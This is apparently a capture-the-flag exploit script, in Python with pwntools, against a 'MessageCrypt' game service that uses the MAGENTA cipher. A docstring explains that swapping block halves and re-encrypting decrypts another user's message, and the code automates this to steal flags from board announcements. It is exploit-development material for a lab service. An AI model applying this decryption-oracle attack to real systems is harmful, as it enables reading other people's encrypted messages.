from pwn import *
try:
    from telecommunication_nogamelib import *
except ImportError:
    from .telecommunication_nogamelib import *
import re
import base64

"""
The *Board* sub-service allows users to post public messages that are then stored,
together with their name, as an "announcement". All announcements are broadcasts:
they can be received by any user of the system. The Board merely serves as a
flagstore for the MessageCrypt sub-service.

The *MessageCrypt* sub-service allows the user to encrypt a message to any user
in the system or to decrypt a message they received. The encryption is performed
using a symmetric block cipher.

To provide a convenient user experience, MessageCrypt also manages the
cryptographic keys for the users. It implements a keystore, where a symmetric
key is stored for each user. A message is always encrypted with the recipient's
key, which is randomly generated on first use. The recipient is identified by
their employee ID, which is public information and can be retrieved through the
"employee register" (a Gateway functionality). When the user requests to decrypt
a message, the key is selected based on the employee ID that is specified in the
user record in the protocol message. In other words, users can only decrypt
messages that were addressed to themselves.

The symmetric block cipher used in this sub-service is the long-forgotten
[MAGENTA](https://en.wikipedia.org/wiki/MAGENTA), a candidate in the AES
standardization process in the late 1990s. The paper "Cryptanalysis of Magenta"
by Eli Biham et al.
(https://www.schneier.com/wp-content/uploads/2016/02/paper-magenta.pdf)
points out:

> [D]ue to the symmetry of the key scheduling, encryption and decryption are
> identical except for the order of the two halves of the plaintexts and
> ciphertexts. Therefore, given a ciphertext, one can decrypt it by swapping its
> two halves, reencrypting the result, and swapping again.

The vulnerability in this sub-service is built around this property. The
gameserver stores flags in encrypted form as announcements in the Board service.
These announcements are posted by random users (created by the gameserver) and
look like this:

  Note to self: <base64-encoded ciphertext containing a flag>

As the text "Note to self" indicates, the author of the announcement encrypted
the message to themselves by providing their own employee ID as recipient.

To decrypt the flag, the exploit performs the following steps:

- Log in as any user.
- Retrieve all announcements that start with "Note to self:" and their author
  information.
- For each announcement, decrypt the ciphertext as follows:
    - Use the Gateway's "employee register" functionality to retrieve the
      author's employee ID.
    - Decode the base64-encoded ciphertext to raw bytes.
    - Iterate over the ciphertext in 16-byte blocks. Split each block in two
      halves (i.e., two 8-byte blocks) and swap them.
    - Encrypt a message to the author's employee ID. Encode the swapped
      ciphertext as base64 and use it as plaintext message.
    - Iterate over the encryption result in 16-byte blocks. Split each block in
      two halves and swap them to get the flag.
"""

def _swap_halves_b64(buf_b64: str) -> str:
    buf = bytearray(base64.b64decode(buf_b64))
    assert (len(buf) % 16 == 0)
    for start in range(0, len(buf), 16):
        tmp = buf[start:start + 8]
        buf[start:start + 8] = buf[start + 8:start + 16]
        buf[start + 8:start + 16] = tmp
    return base64.b64encode(buf)

def exploit(target):
    conn = remote(target, 30000, timeout=10, ssl=True)
    try:
        # register & login
        first, last, pw = register_and_login(conn)
        receive_main_menu(conn)

        # retrieve number of announcements and find those containing flags
        board_enter_menu(conn)
        count = board_get_count(conn)
        receive_main_menu(conn)

        # iterate over the announcements and search for flags
        for message_number in range(0, count):
            # retrieve the announcement
            board_enter_menu(conn)
            resp: dict[str, str] = board_get_message_by_number(conn, message_number)
            receive_main_menu(conn)

            # extract the ciphertext
            rx1 = re.match(r"^Note to self: (?P<ciphertext>.*)$", resp["message"])
            if rx1:
                encrypted_flag_b64s = rx1.group("ciphertext")

                # find the author's employee id
                eid = get_employee_id(conn, resp["first"], resp["last"])
                receive_main_menu(conn)

                # use the "encrypt" function of messagecrypt to decrypt the message
                mc_enter_menu(conn)
                # - swap halves
                message_b64: str = _swap_halves_b64(encrypted_flag_b64s).decode()
                # - encrypt to author
                result_b64: str = mc_encrypt_message(conn, eid, message_b64)
                # - swap halves again
                result_b64 = _swap_halves_b64(result_b64)
                # - extract the flag from the plaintext
                plaintext = base64.b64decode(result_b64).decode("utf-8", "ignore")
                rx2 = re.match(r".*(?P<flag>SAAR{[A-Za-z0-9-_]+}).*", plaintext)
                if rx2:
                    print(rx2.group("flag"))
                receive_main_menu(conn)
    finally:
        conn.close()

if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'localhost')
